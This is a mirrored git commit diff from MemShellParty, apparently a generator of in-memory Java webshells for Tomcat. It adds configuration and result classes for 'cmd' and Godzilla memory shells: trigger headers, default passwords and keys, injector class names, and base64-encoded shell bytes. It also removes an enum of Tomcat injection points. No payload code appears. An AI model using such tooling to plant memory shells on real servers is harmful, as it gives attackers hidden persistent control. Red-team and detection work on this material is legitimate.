mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-24 07:51:52 +08:00
feat: support tomcat cmd shell and jsp packer
This commit is contained in:
@@ -0,0 +1,18 @@
|
||||
package com.reajason.javaweb.config;
|
||||
|
||||
import lombok.Builder;
|
||||
import lombok.Getter;
|
||||
import lombok.ToString;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
@Getter
|
||||
@SuperBuilder
|
||||
@ToString
|
||||
public class CommandShellConfig extends ShellConfig {
|
||||
@Builder.Default
|
||||
private String headerName = "cmd";
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
package com.reajason.javaweb.config;
|
||||
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
@Data
|
||||
@Builder
|
||||
public class GenerateResult {
|
||||
private String shellClassName;
|
||||
private transient byte[] shellBytes;
|
||||
private String shellBytesBase64Str;
|
||||
private String injectorClassName;
|
||||
private transient byte[] injectorBytes;
|
||||
private String injectorBytesBase64Str;
|
||||
private ShellConfig shellConfig;
|
||||
|
||||
public GenerateResult encodeBase64() {
|
||||
this.shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
|
||||
this.injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
|
||||
return this;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
package com.reajason.javaweb.config;
|
||||
|
||||
import com.reajason.javaweb.util.CommonUtil;
|
||||
import lombok.*;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
@Getter
|
||||
@SuperBuilder
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
@ToString
|
||||
public class GodzillaShellConfig extends ShellConfig {
|
||||
@Builder.Default
|
||||
private String pass = "pass";
|
||||
@Builder.Default
|
||||
private String key = "key";
|
||||
@Builder.Default
|
||||
private String headerName = "User-Agent";
|
||||
@Builder.Default
|
||||
private String headerValue = CommonUtil.getRandomString(8);
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
package com.reajason.javaweb.config;
|
||||
|
||||
import com.reajason.javaweb.util.CommonUtil;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
@Data
|
||||
@SuperBuilder
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
public class ShellConfig {
|
||||
@Builder.Default
|
||||
private String shellClassName = CommonUtil.generateShellClassName();
|
||||
@Builder.Default
|
||||
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
||||
@Builder.Default
|
||||
private String urlPattern = "/*";
|
||||
}
|
||||
@@ -1,41 +0,0 @@
|
||||
package com.reajason.javaweb.config;
|
||||
|
||||
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaFilter;
|
||||
import lombok.Getter;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/22
|
||||
*/
|
||||
public class TomcatShell {
|
||||
public static final String SERVLET = "servlet";
|
||||
public static final String JAKARTA_SERVLET = "jakartaServlet";
|
||||
public static final String FILTER = "filter";
|
||||
public static final String JAKARTA_FILTER = "jakartaFilter";
|
||||
public static final String LISTENER = "listener";
|
||||
public static final String JAKARTA_LISTENER = "jakartaListener";
|
||||
public static final String WEBSOCKET = "websocket";
|
||||
public static final String VALVE = "valve";
|
||||
public static final String UPGRADE = "upgrade";
|
||||
public static final String EXECUTOR = "executor";
|
||||
|
||||
|
||||
@Getter
|
||||
public static enum Godzilla {
|
||||
|
||||
/**
|
||||
* Tomcat Filter
|
||||
*/
|
||||
Filter(TomcatShell.FILTER, GodzillaFilter.class),
|
||||
;
|
||||
|
||||
Godzilla(String shellType, Class<?> shellClass) {
|
||||
this.shellClass = shellClass;
|
||||
this.shellType = shellType;
|
||||
}
|
||||
|
||||
private final String shellType;
|
||||
private final Class<?> shellClass;
|
||||
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user